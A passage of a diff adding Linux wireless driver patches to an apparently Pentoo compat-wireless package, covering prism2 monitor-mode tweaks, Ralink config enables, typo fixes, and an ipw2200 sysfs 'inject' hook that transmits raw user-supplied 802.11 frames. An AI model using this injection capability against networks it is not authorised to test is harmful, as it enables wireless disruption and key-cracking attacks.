+-	if(skb->protocol == ETH_P_80211_RAW) {
++	if(skb->protocol == htons(ETH_P_80211_RAW)) {
+ 		if (!capable(CAP_NET_ADMIN)) {
+ 			result = 1;
+ 			goto failed;
+@@ -952,8 +952,9 @@
+ 		dev->set_mac_address =	p80211knetdev_set_mac_address;
+ #endif
+ #ifdef HAVE_TX_TIMEOUT
+-		dev->tx_timeout      =  &p80211knetdev_tx_timeout;
+-		dev->watchdog_timeo  =  (wlan_watchdog * HZ) / 1000;
++// korek: still not implemented (XXX: Why exactly do we remove this???)
++//		dev->tx_timeout      =  &p80211knetdev_tx_timeout;
++//		dev->watchdog_timeo  =  (wlan_watchdog * HZ) / 1000;
+ #endif
+ 		netif_carrier_off(dev);
+ 	}
+diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2mgmt.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2mgmt.c
+--- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2mgmt.c	2008-12-24 18:26:37.000000000 -0500
++++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2mgmt.c	2009-04-04 23:18:35.000000000 -0400
+@@ -2860,9 +2860,12 @@
+ 		}
+ 
+ 		/* Now if we're already sniffing, we can skip the rest */
+-		if (wlandev->netdev->type != ARPHRD_ETHER) {
++//		if (wlandev->netdev->type != ARPHRD_ETHER) {
++		if ((wlandev->netdev->type != ARPHRD_IEEE80211) &&
++			(wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) {
+ 			/* Set the port type to pIbss */
+-			word = HFA384x_PORTTYPE_PSUEDOIBSS;
++//			word = HFA384x_PORTTYPE_PSUEDOIBSS;
++			word = 5; // HFA384x_PORTTYPE_PSUEDOIBSS;
+ 			result = hfa384x_drvr_setconfig16(hw,
+ 							  HFA384x_RID_CNFPORTTYPE, word);
+ 			if ( result ) {
+@@ -2874,6 +2877,8 @@
+ 			}
+ 			if ((msg->keepwepflags.status == P80211ENUM_msgitem_status_data_ok) && (msg->keepwepflags.data != P80211ENUM_truth_true)) {
+ 				/* Set the wepflags for no decryption */
++				/* doesn't work - done from the CLI */
++				/* Fix? KoreK */
+ 				word = HFA384x_WEPFLAGS_DISABLE_TXCRYPT |
+ 					HFA384x_WEPFLAGS_DISABLE_RXCRYPT;
+ 				result = hfa384x_drvr_setconfig16(hw, HFA384x_RID_CNFWEPFLAGS, word);
+@@ -2919,7 +2924,9 @@
+ 			goto failed;
+ 		}
+ 
+-		if (wlandev->netdev->type == ARPHRD_ETHER) {
++//		if (wlandev->netdev->type == ARPHRD_ETHER) {
++		if ((wlandev->netdev->type != ARPHRD_IEEE80211) &&
++			(wlandev->netdev->type != ARPHRD_IEEE80211_PRISM)) {
+ 			WLAN_LOG_INFO("monitor mode enabled\n");
+ 		}
+ 
+diff -Naur linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2sta.c linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2sta.c
+--- linux-2.6.28-pentoo-r4/drivers/staging/wlan-ng/prism2sta.c	2008-12-24 18:26:37.000000000 -0500
++++ linux-2.6.28-pentoo-r4-fauxpas/drivers/staging/wlan-ng/prism2sta.c	2009-04-04 23:20:58.000000000 -0400
+@@ -411,7 +411,9 @@
+ 	DBFENTER;
+ 
+ 	/* If necessary, set the 802.11 WEP bit */
+-	if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) {
++//	if ((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED) {
++	if (((wlandev->hostwep & (HOSTWEP_PRIVACYINVOKED | HOSTWEP_ENCRYPT)) == HOSTWEP_PRIVACYINVOKED)
++		&& (skb->protocol != htons(ETH_P_80211_RAW))) {
+ 		p80211_hdr->a3.fc |= host2ieee16(WLAN_SET_FC_ISWEP(1));
+ 	}
diff --git a/net-wireless/compat-wireless/files/failed_openembedded-orinoco-remove-all-which-are-in-hostap-HACK.patch b/net-wireless/compat-wireless/files/failed_openembedded-orinoco-remove-all-which-are-in-hostap-HACK.patch
new file mode 100644
index 00000000..d1b52f50
--- /dev/null
+++ b/net-wireless/compat-wireless/files/failed_openembedded-orinoco-remove-all-which-are-in-hostap-HACK.patch
@@ -0,0 +1,80 @@
+diff -Naur linux-2.6.28-pentoo-r4/drivers/net/wireless/orinoco_cs.c linux-2.6.28-pentoo-r4-patched/drivers/net/wireless/orinoco_cs.c
+--- linux-2.6.28-pentoo-r4/drivers/net/wireless/orinoco_cs.c	2008-12-24 18:26:37.000000000 -0500
++++ linux-2.6.28-pentoo-r4-patched/drivers/net/wireless/orinoco_cs.c	2009-04-08 00:22:05.000000000 -0400
+@@ -418,33 +418,21 @@
+ 	"Pavel Roskin <proski@gnu.org>, et al)";
+ 
+ static struct pcmcia_device_id orinoco_cs_ids[] = {
+-	PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), /* SonicWALL Long Range Wireless Card */
+-	PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), /* Sohoware NCP110, Philips 802.11b */
+ 	PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0002), /* AnyPoint(TM) Wireless II PC Card */
+-	PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), /* 3Com AirConnect PCI 777A */
+-	PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), /* PROXIM RangeLAN-DS/LAN PC CARD */
+ 	PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), /* Compaq WL100 11 Mbps Wireless Adapter */
+ 	PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), /* Lucent Orinoco and old Intersil */
+ 	PCMCIA_DEVICE_MANF_CARD(0x016b, 0x0001), /* Ericsson WLAN Card C11 */
+ 	PCMCIA_DEVICE_MANF_CARD(0x01eb, 0x080a), /* Nortel Networks eMobility 802.11 Wireless Adapter */
+ 	PCMCIA_DEVICE_MANF_CARD(0x01ff, 0x0008), /* Intermec MobileLAN 11Mbps 802.11b WLAN Card */
+-	PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), /* Samsung SWL2000-N 11Mb/s WLAN Card */
+ 	PCMCIA_DEVICE_MANF_CARD(0x0261, 0x0002), /* AirWay 802.11 Adapter (PCMCIA) */
+ 	PCMCIA_DEVICE_MANF_CARD(0x0268, 0x0001), /* ARtem Onair */
+ 	PCMCIA_DEVICE_MANF_CARD(0x026f, 0x0305), /* Buffalo WLI-PCM-S11 */
+-	PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), /* Linksys WPC11 Version 2.5 */
+-	PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), /* Linksys WPC11 Version 3 */
+-	PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), /* Compaq HNW-100 11 Mbps Wireless Adapter */
+ 	PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0673), /* Linksys WCF12 Wireless CompactFlash Card */
+-	PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), /* ASUS SpaceLink WL-100 */
+ 	PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x0002), /* SpeedStream SS1021 Wireless Adapter */
+ 	PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x3021), /* SpeedStream Wireless Adapter */
+ 	PCMCIA_DEVICE_MANF_CARD(0x14ea, 0xb001), /* PLANEX RoadLannerWave GW-NS11H */
+-	PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), /* Airvast WN-100 */
+ 	PCMCIA_DEVICE_MANF_CARD(0x9005, 0x0021), /* Adaptec Ultra Wireless ANW-8030 */
+ 	PCMCIA_DEVICE_MANF_CARD(0xc001, 0x0008), /* CONTEC FLEXSCAN/FX-DDS110-PCC */
+-	PCMCIA_DEVICE_MANF_CARD(0xc250, 0x0002), /* Conceptronic CON11Cpro, EMTAC A2424i */
+-	PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), /* Safeway 802.11b, ZCOMAX AirRunner/XI-300 */
+ 	PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), /* D-Link DCF660, Sandisk Connect SDWCFB-000 */
+ 	PCMCIA_DEVICE_PROD_ID12(" ", "IEEE 802.11 Wireless LAN/PC Card", 0x3b6e20c8, 0xefccafe9),
+ 	PCMCIA_DEVICE_PROD_ID12("3Com", "3CRWE737A AirConnect Wireless LAN PC Card", 0x41240e5b, 0x56010af3),
+@@ -453,31 +441,25 @@
+ 	PCMCIA_DEVICE_PROD_ID123("AIRVAST", "IEEE 802.11b Wireless PCMCIA Card", "HFA3863", 0xea569531, 0x4bcb9645, 0x355cb092),
+ 	PCMCIA_DEVICE_PROD_ID12("Allied Telesyn", "AT-WCL452 Wireless PCMCIA Radio", 0x5cd01705, 0x4271660f),
+ 	PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11b_PC_CARD_25", 0x78fc06ee, 0xdb9aa842),
+-	PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11B_CF_CARD_25", 0x78fc06ee, 0x45a50c1e),
+ 	PCMCIA_DEVICE_PROD_ID12("Avaya Communication", "Avaya Wireless PC Card", 0xd8a43b78, 0x0d341169),
+ 	PCMCIA_DEVICE_PROD_ID12("BENQ", "AWL100 PCMCIA ADAPTER", 0x35dadc74, 0x01f7fedb),
+ 	PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-PCM-L11G", 0x2decece3, 0xf57ca4b3),
+-	PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", 0x2decece3, 0x82067c18),
+ 	PCMCIA_DEVICE_PROD_ID12("Cabletron", "RoamAbout 802.11 DS", 0x32d445f5, 0xedeffd90),
+-	PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", 0x54f7c49c, 0x15a75e5b),
+ 	PCMCIA_DEVICE_PROD_ID123("corega", "WL PCCL-11", "ISL37300P", 0x0a21501a, 0x59868926, 0xc9049a39),
+ 	PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCC-11", 0x5261440f, 0xa6405584),
+ 	PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCCA-11", 0x5261440f, 0xdf6115f9),
+ 	PCMCIA_DEVICE_PROD_ID12("corega_K.K.", "Wireless_LAN_PCCB-11", 0x29e33311, 0xee7a27ae),
+ 	PCMCIA_DEVICE_PROD_ID12("D", "Link DRC-650 11Mbps WLAN Card", 0x71b18589, 0xf144e3ac),
+-	PCMCIA_DEVICE_PROD_ID12("D", "Link DWL-650 11Mbps WLAN Card", 0x71b18589, 0xb6f1b0ab),
+ 	PCMCIA_DEVICE_PROD_ID12("D-Link Corporation", "D-Link DWL-650H 11Mbps WLAN Adapter", 0xef544d24, 0xcd8ea916),
+ 	PCMCIA_DEVICE_PROD_ID12("Digital Data Communications", "WPC-0100", 0xfdd73470, 0xe0b6f146),
+ 	PCMCIA_DEVICE_PROD_ID12("ELSA", "AirLancer MC-11", 0x4507a33a, 0xef54f0e3),
+ 	PCMCIA_DEVICE_PROD_ID12("HyperLink", "Wireless PC Card 11Mbps", 0x56cc3f1a, 0x0bcf220c),
+ 	PCMCIA_DEVICE_PROD_ID123("Instant Wireless ", " Network PC CARD", "Version 01.02", 0x11d901af, 0x6e9bd926, 0x4b74baa0),
+ 	PCMCIA_DEVICE_PROD_ID12("Intel", "PRO/Wireless 2011 LAN PC Card", 0x816cc815, 0x07f58077),
+-	PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18),
+ 	PCMCIA_DEVICE_PROD_ID12("INTERSIL", "I-GATE 11M PC Card / PC Card plus", 0x74c5e40d, 0x8304ff77),
+ 	PCMCIA_DEVICE_PROD_ID12("Intersil", "PRISM 2_5 PCMCIA ADAPTER", 0x4b801a17, 0x6345a0bf),
+ 	PCMCIA_DEVICE_PROD_ID123("Intersil", "PRISM Freedom PCMCIA Adapter", "ISL37100P", 0x4b801a17, 0xf222ec2d, 0x630d52b2),
+ 	PCMCIA_DEVICE_PROD_ID12("LeArtery", "SYNCBYAIR 11Mbps Wireless LAN PC Card", 0x7e3b326a, 0x49893e92),
+-	PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", 0x0733cc81, 0x0c52f395),
+ 	PCMCIA_DEVICE_PROD_ID12("Lucent Technologies", "WaveLAN/IEEE", 0x23eb9949, 0xc562e72a),
+ 	PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11", 0x481e0094, 0x7360e410),
+ 	PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11G", 0x481e0094, 0xf57ca4b3),
+@@ -495,10 +477,8 @@
+ 	PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PCI CARD HARMONY 80211B", 0xc6536a5e, 0x9f494e26),
+ 	PCMCIA_DEVICE_PROD_ID12("SAMSUNG", "11Mbps WLAN Card", 0x43d74cb4, 0x579bd91b),
+ 	PCMCIA_DEVICE_PROD_ID12("SMC", "SMC2532W-B EliteConnect Wireless Adapter", 0xc4f8b18b, 0x196bd757),
+-	PCMCIA_DEVICE_PROD_ID12("SMC", "SMC2632W", 0xc4f8b18b, 0x474a1f2a),
+ 	PCMCIA_DEVICE_PROD_ID12("Symbol Technologies", "LA4111 Spectrum24 Wireless LAN PC Card", 0x3f02b4d6, 0x3663cb0e),
+ 	PCMCIA_DEVICE_PROD_ID123("The Linksys Group, Inc.", "Instant Wireless Network PC Card", "ISL37300P", 0xa5f472c2, 0x590eb502, 0xc9049a39),
+-	PCMCIA_DEVICE_PROD_ID12("ZoomAir 11Mbps High", "Rate wireless Networking", 0x273fe3db, 0x32a1eaee),
+ 	PCMCIA_DEVICE_NULL,
+ };
+ MODULE_DEVICE_TABLE(pcmcia, orinoco_cs_ids);
diff --git a/net-wireless/compat-wireless/files/fix-typos-2.6.35_rc2.patch b/net-wireless/compat-wireless/files/fix-typos-2.6.35_rc2.patch
new file mode 100644
index 00000000..d3ac64d8
--- /dev/null
+++ b/net-wireless/compat-wireless/files/fix-typos-2.6.35_rc2.patch
@@ -0,0 +1,24 @@
+commit e96ac45542ab5f02d2b13981df3a9c34d990afbf
+Author: Rick Farina <sidhayn@gmail.com>
+Date:   Mon Jun 14 00:40:03 2010 -0400
+
+    [PATCH]compat: trivial fix for typo in config.mk
+    
+    In config.mk we find "# CONFIG_RT2X00_LIB_DEBUGFS" which clearly
+    should have an "=y" at the end like ever other config line.
+    
+    Signed-off-by: Rick Farina <sidhayn@gmail.com>
+
+diff --git a/config.mk b/config.mk
+index 0001a7d..adebbbf 100644
+--- a/config.mk
++++ b/config.mk
+@@ -453,7 +453,7 @@ CONFIG_RT2X00_LIB_FIRMWARE=y
+ CONFIG_RT2X00_LIB_CRYPTO=y
+ CONFIG_RT2X00_LIB_LEDS=y
+ # CONFIG_RT2X00_DEBUG=y
+-# CONFIG_RT2X00_LIB_DEBUGFS
++# CONFIG_RT2X00_LIB_DEBUGFS=y
+ endif
+ 
+ ifeq ($(NEED_RT2X00_FIRMWARE),y)
diff --git a/net-wireless/compat-wireless/files/fix-typos-2.6.36_rc5.patch b/net-wireless/compat-wireless/files/fix-typos-2.6.36_rc5.patch
new file mode 100644
index 00000000..79a91a88
--- /dev/null
+++ b/net-wireless/compat-wireless/files/fix-typos-2.6.36_rc5.patch
@@ -0,0 +1,12 @@
+diff -Naur compat-wireless-2.6.36-rc5-2-s/config.mk compat-wireless-2.6.36-rc5-2-s-untypoed/config.mk
+--- compat-wireless-2.6.36-rc5-2-s/config.mk	2010-09-27 19:54:28.000000000 -0400
++++ compat-wireless-2.6.36-rc5-2-s-untypoed/config.mk	2010-10-02 22:17:31.000000000 -0400
+@@ -501,7 +501,7 @@
+ CONFIG_RT2X00_LIB_LEDS=y
+ endif #CONFIG_COMPAT_KERNEL_25
+ # CONFIG_RT2X00_DEBUG=y
+-# CONFIG_RT2X00_LIB_DEBUGFS
++# CONFIG_RT2X00_LIB_DEBUGFS=y
+ endif
+ 
+ ifeq ($(NEED_RT2X00_FIRMWARE),y)
diff --git a/net-wireless/compat-wireless/files/force-enable-new-ralink-2.6.38_rc3.patch b/net-wireless/compat-wireless/files/force-enable-new-ralink-2.6.38_rc3.patch
new file mode 100644
index 00000000..cb53ac58
--- /dev/null
+++ b/net-wireless/compat-wireless/files/force-enable-new-ralink-2.6.38_rc3.patch
@@ -0,0 +1,25 @@
+diff -Naur compat-wireless-2.6.38-rc3-2-orig/config.mk compat-wireless-2.6.38-rc3-2/config.mk
+--- compat-wireless-2.6.38-rc3-2-orig/config.mk	2011-02-04 16:42:10.000000000 -0500
++++ compat-wireless-2.6.38-rc3-2/config.mk	2011-02-04 19:25:58.000000000 -0500
+@@ -323,8 +323,8 @@
+ CONFIG_RT2500PCI=m
+ ifdef CONFIG_CRC_CCITT
+ CONFIG_RT2800PCI=m
+-# CONFIG_RT2800PCI_RT33XX=y
+-# CONFIG_RT2800PCI_RT35XX=y
++CONFIG_RT2800PCI_RT33XX=y
++CONFIG_RT2800PCI_RT35XX=y
+ endif #CONFIG_CRC_CCITT
+ NEED_RT2X00=y
+ 
+@@ -452,8 +452,8 @@
+ CONFIG_RT2500USB=m
+ ifdef CONFIG_CRC_CCITT
+ CONFIG_RT2800USB=m
+-# CONFIG_RT2800USB_RT33XX=y
+-# CONFIG_RT2800USB_RT35XX=y
++CONFIG_RT2800USB_RT33XX=y
++CONFIG_RT2800USB_RT35XX=y
+ CONFIG_RT2800USB_UNKNOWN=y
+ endif #CONFIG_CRC_CCITT
+ CONFIG_RT2X00_LIB_USB=m
diff --git a/net-wireless/compat-wireless/files/force-enable-new-ralink-pci-2.6.36-rc5.patch b/net-wireless/compat-wireless/files/force-enable-new-ralink-pci-2.6.36-rc5.patch
new file mode 100644
index 00000000..3cdbad97
--- /dev/null
+++ b/net-wireless/compat-wireless/files/force-enable-new-ralink-pci-2.6.36-rc5.patch
@@ -0,0 +1,14 @@
+diff -Naur compat-wireless-2.6.36-rc5-2-s/config.mk compat-wireless-2.6.36-rc5-2-s-rt2800pci/config.mk
+--- compat-wireless-2.6.36-rc5-2-s/config.mk	2010-09-27 19:54:28.000000000 -0400
++++ compat-wireless-2.6.36-rc5-2-s-rt2800pci/config.mk	2010-10-02 22:20:59.000000000 -0400
+@@ -301,8 +301,8 @@
+ ifneq ($(CONFIG_CRC_CCITT),)
+ CONFIG_RT2800PCI=m
+ CONFIG_RT2800PCI_PCI=y
+-# CONFIG_RT2800PCI_RT30XX=y
+-# CONFIG_RT2800PCI_RT35XX=y
++CONFIG_RT2800PCI_RT30XX=y
++CONFIG_RT2800PCI_RT35XX=y
+ # CONFIG_RT2800PCI_SOC=y
+ endif
+ NEED_RT2X00=y
diff --git a/net-wireless/compat-wireless/files/force-enable-new-ralink-pci.patch b/net-wireless/compat-wireless/files/force-enable-new-ralink-pci.patch
new file mode 100644
index 00000000..f5dff74b
--- /dev/null
+++ b/net-wireless/compat-wireless/files/force-enable-new-ralink-pci.patch
@@ -0,0 +1,16 @@
+diff --git a/config.mk b/config.mk
+index 0001a7d..169a99c 100644
+--- a/config.mk
++++ b/config.mk
+@@ -270,8 +270,8 @@ CONFIG_RT2500PCI=m
+ ifneq ($(CONFIG_CRC_CCITT),)
+ CONFIG_RT2800PCI=m
+ CONFIG_RT2800PCI_PCI=y
+-# CONFIG_RT2800PCI_RT30XX=y
+-# CONFIG_RT2800PCI_RT35XX=y
++CONFIG_RT2800PCI_RT30XX=y
++CONFIG_RT2800PCI_RT35XX=y
+ # CONFIG_RT2800PCI_SOC=y
+ endif
+ NEED_RT2X00=y
+
diff --git a/net-wireless/compat-wireless/files/force-enable-new-ralink.patch b/net-wireless/compat-wireless/files/force-enable-new-ralink.patch
new file mode 100644
index 00000000..2269c0c5
--- /dev/null
+++ b/net-wireless/compat-wireless/files/force-enable-new-ralink.patch
@@ -0,0 +1,16 @@
+diff -Naur compat-wireless-2.6.35-rc1/config.mk compat-wireless-2.6.35-rc1-fixed/config.mk
+--- compat-wireless-2.6.35-rc1/config.mk	2010-05-31 18:30:39.000000000 -0400
++++ compat-wireless-2.6.35-rc1-fixed/config.mk	2010-06-05 23:48:50.000000000 -0400
+@@ -366,9 +366,9 @@
+ CONFIG_RT2500USB=m
+ ifneq ($(CONFIG_CRC_CCITT),)
+ CONFIG_RT2800USB=m
+-# CONFIG_RT2800USB_RT30XX=y
+-# CONFIG_RT2800USB_RT35XX=y
+-# CONFIG_RT2800USB_UNKNOWN=y
++CONFIG_RT2800USB_RT30XX=y
++CONFIG_RT2800USB_RT35XX=y
++CONFIG_RT2800USB_UNKNOWN=y
+ endif
+ CONFIG_RT2X00_LIB_USB=m
+ NEED_RT2X00=y
diff --git a/net-wireless/compat-wireless/files/ipw2200-inject.2.6.36.patch b/net-wireless/compat-wireless/files/ipw2200-inject.2.6.36.patch
new file mode 100644
index 00000000..5b590c81
--- /dev/null
+++ b/net-wireless/compat-wireless/files/ipw2200-inject.2.6.36.patch
@@ -0,0 +1,116 @@
+diff -urN linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.c linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.c
+--- linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.c	2010-10-21 04:30:22.000000000 +0800
++++ linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.c	2010-12-08 22:22:41.937999976 +0800
+@@ -206,6 +206,7 @@
+ static int ipw_queue_tx_hcmd(struct ipw_priv *priv, int hcmd, void *buf,
+ 			     int len, int sync);
+ 
++static int ipw_tx_skb(struct ipw_priv *priv, struct libipw_txb *txb, int pri);
+ static void ipw_tx_queue_free(struct ipw_priv *);
+ 
+ static struct ipw_rx_queue *ipw_rx_queue_alloc(struct ipw_priv *);
+@@ -1906,6 +1907,63 @@
+ static DEVICE_ATTR(net_stats, S_IWUSR | S_IRUGO,
+ 		   show_net_stats, store_net_stats);
+ 
++/* SYSFS INJECT */
++static ssize_t store_inject(struct device *d,
++        struct device_attribute *attr,
++        const char *buf, size_t count)
++{
++        struct ipw_priv *priv = dev_get_drvdata(d);
++        struct libipw_device *ieee = priv->ieee;
++        struct libipw_txb *txb;
++        struct sk_buff *skb_frag;
++        unsigned char *newbuf;
++        unsigned long flags;
++
++        // should test (ieee->is_queue_full)
++
++        // Fw only accepts data, so avoid accidental fw errors.
++        if ( (buf[0]&0x0c) != '\x08') {
++              //printk("ipw2200: inject: discarding non-data frame (type=%02X)\n",(int)(unsigned char)buf[0]);
++              return count;
++        }
++
++        if (count>1500) {
++              count=1500;
++              printk("ipw2200: inject: cutting down frame to 1500 bytes\n");
++        }
++
++        spin_lock_irqsave(&priv->lock, flags);
++
++        // Create a txb with one skb
++        txb = kmalloc(sizeof(struct libipw_txb) + sizeof(u8 *), GFP_ATOMIC);
++        if (!txb)
++              goto nosepuede;
++        txb->nr_frags=1;
++        txb->frag_size = ieee->tx_headroom;
++        txb->fragments[0]=__dev_alloc_skb(count + ieee->tx_headroom, GFP_ATOMIC);
++        if (!txb->fragments[0]) {
++              kfree(txb);
++              goto nosepuede;
++        }
++        skb_reserve(txb->fragments[0], ieee->tx_headroom);
++        txb->encrypted=0;
++        txb->payload_size=count;
++        skb_frag = txb->fragments[0];
++        newbuf=skb_put(skb_frag, count);
++
++        // copy data into txb->skb and send it
++        memcpy(newbuf, buf, count);
++
++        ipw_tx_skb(priv, txb, 0);
++
++nosepuede:
++        spin_unlock_irqrestore(&priv->lock, flags);
++        return count;
++}
++
++
++static DEVICE_ATTR(inject, S_IWUSR, NULL, store_inject);
++
+ static ssize_t show_channels(struct device *d,
+ 			     struct device_attribute *attr,
+ 			     char *buf)
+@@ -10212,7 +10270,6 @@
+ modify to send one tfd per fragment instead of using chunking.  otherwise
+ we need to heavily modify the libipw_skb_to_txb.
+ */
+-
+ static int ipw_tx_skb(struct ipw_priv *priv, struct libipw_txb *txb,
+ 			     int pri)
+ {
+@@ -10542,6 +10599,8 @@
+ 	mutex_lock(&priv->mutex);
+ 	priv->config |= CFG_CUSTOM_MAC;
+ 	memcpy(priv->mac_addr, addr->sa_data, ETH_ALEN);
++	if (rtap_iface)
++	 memcpy(priv->prom_net_dev->dev_addr, addr->sa_data, ETH_ALEN);
+ 	printk(KERN_INFO "%s: Setting MAC to %pM\n",
+ 	       priv->net_dev->name, priv->mac_addr);
+ 	queue_work(priv->workqueue, &priv->adapter_restart);
+@@ -11599,6 +11658,7 @@
+ #ifdef CONFIG_IPW2200_PROMISCUOUS
+ 	&dev_attr_rtap_iface.attr,
+ 	&dev_attr_rtap_filter.attr,
++	&dev_attr_inject.attr,
+ #endif
+ 	NULL
+ };
+diff -urN linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.h linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.h
+--- linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.h	2010-10-21 04:30:22.000000000 +0800
++++ linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.h	2010-12-08 22:20:01.561000000 +0800
+@@ -2014,4 +2014,12 @@
+ 
+ #define IPW_MAX_CONFIG_RETRIES 10
+ 
++/*
++ * Hhack to get code compiling on new kernels, the define below
++ * seem to be removed from the linux headers.
++ */
++#ifndef MAC_ARG
++#define MAC_ARG(x) ((u8*)(x))[0],((u8*)(x))[1],((u8*)(x))[2],((u8*)(x))[3],((u8*)(x))[4],((u8*)(x))[5]
++#endif
++
+ #endif				/* __ipw2200_h__ */
diff --git a/net-wireless/compat-wireless/files/ipw2200-inject.3.4.6.patch b/net-wireless/compat-wireless/files/ipw2200-inject.3.4.6.patch
new file mode 100644
index 00000000..941bbc50
--- /dev/null
+++ b/net-wireless/compat-wireless/files/ipw2200-inject.3.4.6.patch
@@ -0,0 +1,120 @@
+diff -urN linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.c linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.c
+--- linux-2.6.36-gentoo.orig/drivers/net/wireless/ipw2x00/ipw2200.c	2010-10-21 04:30:22.000000000 +0800
++++ linux-2.6.36-gentoo/drivers/net/wireless/ipw2x00/ipw2200.c	2010-12-08 22:22:41.937999976 +0800
+@@ -216,6 +216,7 @@
+ static int ipw_queue_tx_hcmd(struct ipw_priv *priv, int hcmd, void *buf,
+ 			     int len, int sync);
+ 
++static int ipw_tx_skb(struct ipw_priv *priv, struct libipw_txb *txb, int pri);
+ static void ipw_tx_queue_free(struct ipw_priv *);
+ 
+ static struct ipw_rx_queue *ipw_rx_queue_alloc(struct ipw_priv *);
+@@ -1911,6 +1912,63 @@
+ static DEVICE_ATTR(net_stats, S_IWUSR | S_IRUGO,
+ 		   show_net_stats, store_net_stats);
+ 
++/* SYSFS INJECT */
++static ssize_t store_inject(struct device *d,
++        struct device_attribute *attr,
++        const char *buf, size_t count)
++{
++        struct ipw_priv *priv = dev_get_drvdata(d);
++        struct libipw_device *ieee = priv->ieee;
++        struct libipw_txb *txb;
++        struct sk_buff *skb_frag;
++        unsigned char *newbuf;
++        unsigned long flags;
++
++        // should test (ieee->is_queue_full)
++
++        // Fw only accepts data, so avoid accidental fw errors.
++        if ( (buf[0]&0x0c) != '\x08') {
++              //printk("ipw2200: inject: discarding non-data frame (type=%02X)\n",(int)(unsigned char)buf[0]);
++              return count;
++        }
++
++        if (count>1500) {
++              count=1500;
++              printk("ipw2200: inject: cutting down frame to 1500 bytes\n");
++        }
++
++        spin_lock_irqsave(&priv->lock, flags);
++
++        // Create a txb with one skb
++        txb = kmalloc(sizeof(struct libipw_txb) + sizeof(u8 *), GFP_ATOMIC);
++        if (!txb)
++              goto nosepuede;
++        txb->nr_frags=1;
++        txb->frag_size = ieee->tx_headroom;
++        txb->fragments[0]=__dev_alloc_skb(count + ieee->tx_headroom, GFP_ATOMIC);
++        if (!txb->fragments[0]) {
++              kfree(txb);
++              goto nosepuede;
++        }
++        skb_reserve(txb->fragments[0], ieee->tx_headroom);
++        txb->encrypted=0;
++        txb->payload_size=count;
++        skb_frag = txb->fragments[0];
++        newbuf=skb_put(skb_frag, count);
++
++        // copy data into txb->skb and send it
++        memcpy(newbuf, buf, count);
++
++        ipw_tx_skb(priv, txb, 0);
++
++nosepuede:
++        spin_unlock_irqrestore(&priv->lock, flags);
++        return count;
++}
++
++
++static DEVICE_ATTR(inject, S_IWUSR, NULL, store_inject);
++
+ static ssize_t show_channels(struct device *d,
+ 			     struct device_attribute *attr,
+ 			     char *buf)
+@@ -10214,7 +10272,6 @@
+ modify to send one tfd per fragment instead of using chunking.  otherwise
+ we need to heavily modify the libipw_skb_to_txb.
+ */
+-
+ static int ipw_tx_skb(struct ipw_priv *priv, struct libipw_txb *txb,
+ 			     int pri)
+ {
+@@ -10544,6 +10601,12 @@
+ 	mutex_lock(&priv->mutex);
+ 	priv->config |= CFG_CUSTOM_MAC;
+ 	memcpy(priv->mac_addr, addr->sa_data, ETH_ALEN);
++
++#ifdef CONFIG_IPW2200_PROMISCUOUS
++	if (rtap_iface)
++	 memcpy(priv->prom_net_dev->dev_addr, addr->sa_data, ETH_ALEN);
++#endif
++
+ 	printk(KERN_INFO "%s: Setting MAC to %pM\n",
+ 	       priv->net_dev->name, priv->mac_addr);
+ 	schedule_work(&priv->adapter_restart);
+@@ -11597,6 +11660,7 @@
+ #ifdef CONFIG_IPW2200_PROMISCUOUS
